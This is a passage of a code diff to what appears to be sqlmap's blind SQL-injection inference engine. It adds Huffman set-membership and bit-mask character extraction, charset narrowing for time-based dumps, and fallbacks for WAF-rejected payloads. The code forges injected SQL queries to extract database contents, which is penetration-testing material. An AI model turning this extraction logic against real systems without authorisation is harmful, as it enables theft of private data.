~6, ~1 on a constant) with no cross-column dilution. + # Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads + # too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is. + if kb.partRun in NAME_PREDICTION_CONTEXTS: + huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER + huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms()) + else: + huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None + + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None @@ -141,100 +434,252 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None length = None showEta = conf.eta and isinstance(length, int) - numThreads = min(conf.threads, length) + + if kb.bruteMode: + numThreads = 1 + else: + numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) - if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: - warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" - singleTimeWarnMessage(warnMsg) - if numThreads > 1: - if not timeBasedCompare or conf.forceThreads: + if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 - if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: + if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) - if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): - if isinstance(length, int) and conf.threads > 1: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): + if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) - hintlock = threading.Lock() - def tryHint(idx): - with hintlock: + with kb.locks.hint: hintValue = kb.hintValue - if hintValue is not None and len(hintValue) >= idx: - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): + if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: + if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) + forgedPayload = agent.extractPayload(payload) or "" + forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) + result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) if result: return hintValue[idx - 1] - with hintlock: - kb.hintValue = None + with kb.locks.hint: + kb.hintValue = "" return None def validateChar(idx, value): """ - Used in time-based inference (in case that original and retrieved - value are not equal there will be a deliberate delay). + Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ + threadData = getCurrentThreadData() + + validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) + if "'%s'" % CHAR_INFERENCE_MARK not in payload: - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) + forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + forgedPayload = validationPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) + + result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + + if result and timeBasedCompare and getTechniqueData().trueCode: + result = threadData.lastCode == getTechniqueData().trueCode + if not result: + warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) + singleTimeWarnMessage(warnMsg) + + incrementCounter(getTechnique()) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + return result + + def huffmanChar(idx): + """ + Adaptive retrieval of a single character using set-membership ("... IN (...)") + questions driven by a Huffman tree built from an online frequency model of the data + retrieved so far (used by default for blind table dumps; '--no-huffman' disables it). + The expected number of requests approaches the + data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree + (i.e. no penalty versus the classic bisection). + + Correctness does NOT depend on the (shared, racily updated) model: the tree is a + decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node + the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127 + (e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed + back to the classic bisection. Returns the character, or None to fall back. + """ + ESCAPE = -1 + model = kb.huffmanModel.setdefault(huffmanKey, {}) + threadData = getCurrentThreadData() + + # Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online + # model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the + # first character); order 0 collapses to the classic single-context adaptive model. Retrieval + # is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so + # the model - even raced under threads - only ever affects speed, never the returned value. + context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else "" + weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue) + + heap = [] + for order, ordinal in enumerate(xrange(128)): + heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) + heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + + counter = 129 + while len(heap) > 1: + w1, _, n1 = heapq.heappop(heap) + w2, _, n2 = heapq.heappop(heap) + heapq.heappush(heap, (w1 + w2, counter, (n1, n2))) + counter += 1 + node = heap[0][2] + + def _concrete(n): + if len(n) == 1: + return [] if n[0] == ESCAPE else [n[0]] + return _concrete(n[0]) + _concrete(n[1]) + + def _hasEscape(n): + return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1])) + + template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1) + + while len(node) == 2: + left, right = node + + if _hasEscape(left): + testNode, otherNode = right, left + elif _hasEscape(right): + testNode, otherNode = left, right + else: + leftLeaves, rightLeaves = _concrete(left), _concrete(right) + testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left) + + testSet = _concrete(testNode) + setExpr = ','.join(str(_) for _ in testSet) + forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + # Guard against target-side length limits / WAFs that reject the (potentially long) + # "IN (...)" list: an HTTP error code that is not the technique's own true/false code means + # this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk + # cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=') + # bisection, which re-extracts and validates it; the escape counter in getChar() latches + # Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a + # normal content-based (200/200) response never trips it. + if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)): + return _HUFFMAN_FALLBACK + + node = testNode if result else otherNode + + value = node[0] + + if value == ESCAPE: + with kb.locks.prediction: + model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1 + return _HUFFMAN_FALLBACK + + if value == 0: + # ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic + # bisection and signal end-of-string (do NOT pollute the model with the sentinel). + return None + + # One-time safety validation: cross-check the first set-membership result with a short + # equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be + # truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle. + # If it disagrees, the IN() channel is unreliable here: latch the technique off so the + # classic '>' bisection takes over for the rest of the run (graceful fallback). + if not kb.huffmanValidated: + verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) + verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if verified: + kb.huffmanValidated = True + else: + kb.disableHuffman = True + return _HUFFMAN_FALLBACK - return not result + with kb.locks.prediction: + model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1 + return decodeIntToUnicode(value) - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 + + restricted means charTbl is a narrowed per-column observed range (time-based only): a character + landing outside it fails validateChar and is re-extracted over the full charset. """ + threadData = getCurrentThreadData() + result = tryHint(idx) if result: return result + # Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for + # time-based, where each membership step is timing-noisy and lacks per-character validation + # (measured to trade accuracy for little/no gain there); time-based relies on plain bisection + # plus low-cardinality whole-value guessing instead. + if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare + and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload + and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): + kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 + result = huffmanChar(idx) + if result is not _HUFFMAN_FALLBACK: + return result + # huffman declined this character (Unicode/escape, or failed the validation probe). + # If the set-membership channel keeps escaping it is not paying off here (trimmed/ + # blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>' + # bisection takes over efficiently for the rest of the run. + kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1 + if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes: + kb.disableHuffman = True + if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) - if continuousOrder and shiftTable is None: - # Used for gradual expanding into unicode charspace - shiftTable = [2, 2, 3, 3, 5, 4] + if kb.disableShiftTable: + shiftTable = None + elif continuousOrder and shiftTable is None: + # Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's + # 3-byte ORD() range up to 0xEFBFBF, restoring CJK/non-Latin extraction - see issue #5171) + shiftTable = [4, 2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: + if not isinstance(charTbl, list): + charTbl = list(charTbl) charTbl.remove(ord(char)) if not charTbl: @@ -243,7 +688,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) @@ -251,41 +696,100 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return None maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] + firstCheck = False + lastCheck = False + unexpectedCode = False + + if continuousOrder: + while len(charTbl) > 1: + position = None + + if charsetType is None: + if not firstCheck: + try: + try: + lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] + except IndexError: + lastChar = None + else: + if 'a' <= lastChar <= 'z': + position = charTbl.index(ord('a') - 1) # 96 + elif 'A' <= lastChar <= 'Z': + position = charTbl.index(ord('A') - 1) # 64 + elif '0' <= lastChar <= '9': + position = charTbl.index(ord('0') - 1) # 47 + except ValueError: + pass + finally: + firstCheck = True + + elif not lastCheck and numThreads == 1: # not usable in multi-threading environment + if charTbl[(len(charTbl) >> 1)] < ord(' '): + try: + # favorize last char check if current value inclines toward 0 + position = charTbl.index(1) + except ValueError: + pass + finally: + lastCheck = True + + if position is None: + position = (len(charTbl) >> 1) + + posValue = charTbl[position] + falsePayload = None + + if "'%s'" % CHAR_INFERENCE_MARK not in payload: + forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) + falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) + else: + # e.g.: ... > '%c' -> ... > ORD(..) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) + forgedPayload = payload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) + falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) + + if timeBasedCompare: + if kb.responseTimeMode: + kb.responseTimePayload = falsePayload + else: + kb.responseTimePayload = None - while len(charTbl) != 1: - position = (len(charTbl) >> 1) - posValue = charTbl[position] + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - if "'%s'" % CHAR_INFERENCE_MARK not in payload: - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) - else: - # e.g.: ... > '%c' -> ... > ORD(..) - markingValue = "'%s'" % CHAR_INFERENCE_MARK - unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + incrementCounter(getTechnique()) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + if not timeBasedCompare and getTechniqueData() is not None: + unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) + if unexpectedCode: + if threadData.lastCode is not None: + warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode + else: + warnMsg = "unexpected response detected." - if result: - minValue = posValue + warnMsg += " Will use (extra) validation step in similar cases" - if type(charTbl) != xrange: - charTbl = charTbl[position:] - else: - # xrange() - extended virtual charset used for memory/space optimization - charTbl = xrange(charTbl[position], charTbl[-1] + 1) - else: - maxValue = posValue + singleTimeWarnMessage(warnMsg) + + if result: + minValue = posValue - if type(charTbl) != xrange: - charTbl = charTbl[:position] + if not isinstance(charTbl, xrange): + charTbl = charTbl[position:] + else: + # xrange() - extended virtual charset used for memory/space optimization + charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: - charTbl = xrange(charTbl[0], charTbl[position]) + maxValue = posValue + + if not isinstance(charTbl, xrange): + charTbl = charTbl[:position] + else: + charTbl = xrange(charTbl[0], charTbl[position]) - if len(charTbl) == 1: - if continuousOrder: + if len(charTbl) == 1: if maxValue == 1: return None @@ -298,33 +802,39 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) - originalTbl = xrange(charTbl) + originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] else: + kb.disableShiftTable = True return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): - if timeBasedCompare and not validateChar(idx, retVal): + if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal): + if restricted: + # the character fell outside this column's observed range - re-extract + # over the full charset (not timing noise, so no delay increase / retry count) + return getChar(idx, asciiTbl, True, retried=retried) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec - kb.timeValidCharsRun = 0 - if retried < MAX_TIME_REVALIDATION_STEPS: + threadData.validationRun = 0 + if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) - if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: - conf.timeSec += 1 - warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') - logger.warn(warnMsg) + if timeBasedCompare: + if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: + conf.timeSec += 1 + warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') + logger.warning(warnMsg) - if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: - dbgMsg = "turning off time auto-adjustment mechanism" - logger.debug(dbgMsg) - kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO + if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: + dbgMsg = "turning off time auto-adjustment mechanism" + logger.debug(dbgMsg) + kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: @@ -334,8 +844,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return decodeIntToUnicode(retVal) else: if timeBasedCompare: - kb.timeValidCharsRun += 1 - if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: + threadData.validationRun += 1 + if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES @@ -343,99 +853,125 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return decodeIntToUnicode(retVal) else: return None - else: - if minValue == maxChar or maxValue == minChar: - return None + else: + if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: + errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() + raise SqlmapUnsupportedFeatureException(errMsg) + + candidates = list(originalTbl) + bit = 0 + while len(candidates) > 1: + bits = {} + maxCandidate = max(candidates) + maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 + + for candidate in candidates: + for bit in xrange(maxBits): + bits.setdefault(bit, 0) + if candidate & (1 << bit): + bits[bit] += 1 + else: + bits[bit] -= 1 - for index in xrange(len(originalTbl)): - if originalTbl[index] == minValue: - break + choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] + mask = 1 << choice - # If we are working with non-continuous elements, both minValue and character after - # are possible candidates - for retVal in (originalTbl[index], originalTbl[index + 1]): - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) - if result: - return decodeIntToUnicode(retVal) + if result: + candidates = [_ for _ in candidates if _ & mask > 0] + else: + candidates = [_ for _ in candidates if _ & mask == 0] - return None + bit += 1 - # Go multi-threading (--threads > 1) - if conf.threads > 1 and isinstance(length, int) and length > 1: - threadData = getCurrentThreadData() + if candidates: + forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if result: + if candidates[0] == 0: # Trailing zeros + return None + else: + return decodeIntToUnicode(candidates[0]) + elif restricted: + # the self-validating '=' failed: the character is outside this column's observed set + # (or is end-of-string) - re-extract over the full charset, which validates the value + # and detects end-of-string correctly + return getChar(idx, asciiTbl, True, retried=retried) + + # Go multi-threading (--threads > 1) + if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar + threadData.shared.retrieved = 0 + threadData.shared.endIndex = 0 try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: - kb.locks.index.acquire() + with kb.locks.index: + if threadData.shared.index[0] - firstChar >= length: + return - if threadData.shared.index[0] - firstChar >= length: - kb.locks.index.release() - - return - - threadData.shared.index[0] += 1 - curidx = threadData.shared.index[0] - kb.locks.index.release() + threadData.shared.index[0] += 1 + currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - charStart = time.time() - val = getChar(curidx) + val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629 + if not isListLike(threadData.shared.value): + break + with kb.locks.value: - threadData.shared.value[curidx - 1 - firstChar] = val + idx = currentCharIndex - 1 - firstChar + threadData.shared.value[idx] = val + threadData.shared.retrieved += 1 + if idx > threadData.shared.endIndex: + threadData.shared.endIndex = idx currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: - progress.progress(time.time() - charStart, threadData.shared.index[0]) + progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 - endCharIndex = 0 - - for i in xrange(length): - if currentValue[i] is not None: - endCharIndex = max(endCharIndex, i) + endCharIndex = threadData.shared.endIndex output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth - count = threadData.shared.start + count = threadData.shared.start + threadData.shared.retrieved for i in xrange(startCharIndex, endCharIndex + 1): - output += '_' if currentValue[i] is None else currentValue[i] - - for i in xrange(length): - count += 1 if currentValue[i] is not None else 0 + output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') if startCharIndex > 0: - output = '..' + output[2:] + output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): - output = output[:-2] + '..' + output = output[:-2] + ".." - if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) - status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) + status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) - dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) @@ -459,42 +995,42 @@ def blindThread(): finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) - if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar + threadData.shared.value = "" while True: index += 1 - charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment - if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: + if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0: val = None - commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) + commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl) - # If there is one single output in common-outputs, check + # If a single wordlist entry matches the prefix, confirm # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) - query = kb.injection.data[kb.technique].vector - query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) + query = getTechniqueData().vector + query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: - progress.progress(time.time() - charStart, len(commonValue)) - elif conf.verbose in (1, 2) or hasattr(conf, "api"): + progress.progress(len(commonValue)) + elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue @@ -507,31 +1043,57 @@ def blindThread(): subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) - query = kb.injection.data[kb.technique].vector - query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) + query = getTechniqueData().vector + query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 - # Otherwise if there is no commonValue (single match from - # txt/common-outputs.txt) and no commonPattern - # (common pattern) use the returned common charset only - # to retrieve the query output - if not val and commonCharset: - val = getChar(index, commonCharset, False) - - # If we had no luck with commonValue and common charset, - # use the returned other charset + # Char-by-char fallback. When Huffman is actually active it is driven over the full + # (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next + # character at its root (~1 request), subsuming the common/other charset split. When + # Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED + # where getChar disables it) the classic reordered-charset bisection is used instead - so + # the predicted commonCharset ordering is not thrown away (time-based would otherwise pay + # full-charset bisection for every character). if not val: - val = getChar(index, otherCharset, otherCharset == asciiTbl) + if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare: + val = getChar(index, asciiTbl, True) + else: + if commonCharset: + val = getChar(index, commonCharset, False) + + if not val: + val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl) + # Time-based dump: once a column's character set has proven closed (unchanged for + # DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those + # observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality + # self-validates the character (no separate validateChar). A narrow-charset column (hex, + # digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1 + # delayed requests/char. A character outside the observed set makes that '=' fail and is + # re-extracted over the full charset (see the restricted escalation in getChar). Time-based + # only: boolean has no per-character validation to catch such a miss (and uses Huffman). + restrictedTbl = None + if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset + and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS): + with kb.locks.prediction: + observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe) + if observed and len(observed) <= 64: + # include the 0 end-of-string sentinel so end is detected in-band (the bit-search + # returns None on 0), avoiding a full-charset escalation at the end of every value + restrictedTbl = sorted(observed | set((0,))) + + if restrictedTbl is not None: + val = getChar(index, restrictedTbl, False, expand=False, restricted=True) + else: + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -540,17 +1102,20 @@ def blindThread(): if kb.data.processChar: val = kb.data.processChar(val) - partialValue += val + threadData.shared.value = partialValue = partialValue + val if showEta: - progress.progress(time.time() - charStart, index) - elif conf.verbose in (1, 2) or hasattr(conf, "api"): + progress.progress(index) + elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) - # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces - if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': + # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces + if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break + elif charsetType and partialValue[-1:].isspace(): + finalValue = partialValue[:-1] + break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue @@ -562,20 +1127,29 @@ def blindThread(): abortedFlag = True finally: kb.prependFlag = False - kb.stickyLevel = None retrievedLength = 